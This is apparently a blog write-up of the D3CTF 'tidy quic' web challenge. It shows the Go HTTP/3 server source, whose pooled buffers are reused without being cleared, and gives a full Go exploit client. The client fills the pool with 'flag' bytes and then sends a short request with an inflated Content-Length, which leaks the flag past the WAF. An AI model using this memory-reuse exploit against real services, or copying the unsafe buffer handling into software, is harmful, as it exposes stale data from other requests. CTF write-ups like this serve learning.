Skip to main content

Command Palette

Search for a command to run...

D3CTF : Web

tidy quic , A tale of buffers in QUIC HTTP/3 Server

Published
3 min readView as Markdown
S

I write to revisit topics I’m interested in or when I’m bored and curious.

I participated Solo in this CTF hoping to get to around top 20 but the result is so bad i ain’t gonna talk about it lmao.

CTF Link : https://race.d3ctf.io/training/1?challenge=4

After downloading the given attachment , I quickly checked All Given Files in the which was a Go-based QUIC HTTP/3 server leads to a classic memory reuse vulnerability (I got to know later.)

Source Code:

package main
import (
    "bytes"
    "errors"
    "github.com/libp2p/go-buffer-pool"
    "github.com/quic-go/quic-go/http3"
    "io"
    "log"
    "net/http"
    "os"
)
var p pool.BufferPool
var ErrWAF = errors.New("WAF")
func main() {
    go func() {
        err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
        log.Fatalln(err)
    }()
    go func() {
        err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
        log.Fatalln(err)
    }()
    select {}
}

type mux struct {
}
func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.Method == http.MethodGet {
        _, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
        return
    }
    if r.Method != http.MethodPost {
        w.WriteHeader(400)
        return
    }
    var buf []byte
    length := int(r.ContentLength)
    if length == -1 {
        var err error
        buf, err = io.ReadAll(textInterrupterWrap(r.Body))
        if err != nil {
            if errors.Is(err, ErrWAF) {
                w.WriteHeader(400)
                _, _ = w.Write([]byte("WAF"))
            } else {
                w.WriteHeader(500)
                _, _ = w.Write([]byte("error"))
            }
            return
        }
    } else {
        buf = p.Get(length)
        defer p.Put(buf)
        rd := textInterrupterWrap(r.Body)
        i := 0
        for {
            n, err := rd.Read(buf[i:])
            if err != nil {
                if errors.Is(err, io.EOF) {
                    break
                } else if errors.Is(err, ErrWAF) {
                    w.WriteHeader(400)
                    _, _ = w.Write([]byte("WAF"))
                    return
                } else {
                    w.WriteHeader(500)
                    _, _ = w.Write([]byte("error"))
                    return
                }
            }
            i += n
        }
    }
    if !bytes.HasPrefix(buf, []byte("I want")) {
        _, _ = w.Write([]byte("Sorry I'm not clear what you want."))
        return
    }
    item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
    if bytes.Equal(item, []byte("flag")) {
        _, _ = w.Write([]byte(os.Getenv("FLAG")))
    } else {
        _, _ = w.Write(item)
    }
}
type wrap struct {
    io.ReadCloser
    ban []byte
    idx int
}
func (w *wrap) Read(p []byte) (int, error) {
    n, err := w.ReadCloser.Read(p)
    if err != nil && !errors.Is(err, io.EOF) {
        return n, err
    }
    for i := 0; i < n; i++ {
        if p[i] == w.ban[w.idx] {
            w.idx++
            if w.idx == len(w.ban) {
                return n, ErrWAF
            }
        } else {
            w.idx = 0
        }
    }
    return n, err
}
func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
    return &wrap{
        rc, []byte("flag"), 0,
    }
}

There was two thing’s to notice

  1. I want should be there at any time

    1. and the use of BufferPool , and it reuses the same memory chunks for performance.

then after crafting the payload , this below code gave me a light ,the buffer pool memory isn’t cleared before reuse

see something different? i am reflected with a5flag as before it used to be either flag or WAF

  1. Finally , i got to know that the problem was with bytes , then i changed the code with

     package main
    
     import (
         "bytes"
         "crypto/tls"
         "fmt"
         "io"
         "log"
         "net/http"
         "sync"
         "time"
    
         quic "github.com/quic-go/quic-go"
         "github.com/quic-go/quic-go/http3"
     )
    
     const URL = "https://35.241.98.126:32648"
    
     var poll = "huntx5flag"
     var trig = "I want"
    
     func main() {
         client := &http.Client{
             Transport: &http3.RoundTripper{
                 TLSClientConfig: &tls.Config{InsecureSkipVerify: true, NextProtos: []string{"h3"}},
                 QUICConfig:      &quic.Config{MaxIncomingStreams: 1000},
             },
             Timeout: 15 * time.Second,
         }
         defer client.CloseIdleConnections()
    
         var wg sync.WaitGroup
         for i := 0; i < 100; i++ {
             wg.Add(1)
             go func() {
                 defer wg.Done()
                 req, _ := http.NewRequest("POST", URL, bytes.NewBufferString(poll))
                 req.ContentLength = int64(len(poll))
                 resp, err := client.Do(req)
                 if err == nil {
                     io.Copy(io.Discard, resp.Body)
                     resp.Body.Close()
                 }
             }()
         }
         wg.Wait()
         time.Sleep(time.Second)
    
         req, _ := http.NewRequest("POST", URL, bytes.NewBufferString(trig))
         req.ContentLength = int64(len(poll))
         resp, err := client.Do(req)
         if err != nil {
             log.Fatal(err)
         }
         defer resp.Body.Close()
         body, _ := io.ReadAll(resp.Body)
         fmt.Println(string(body))
     }
    

    Finally..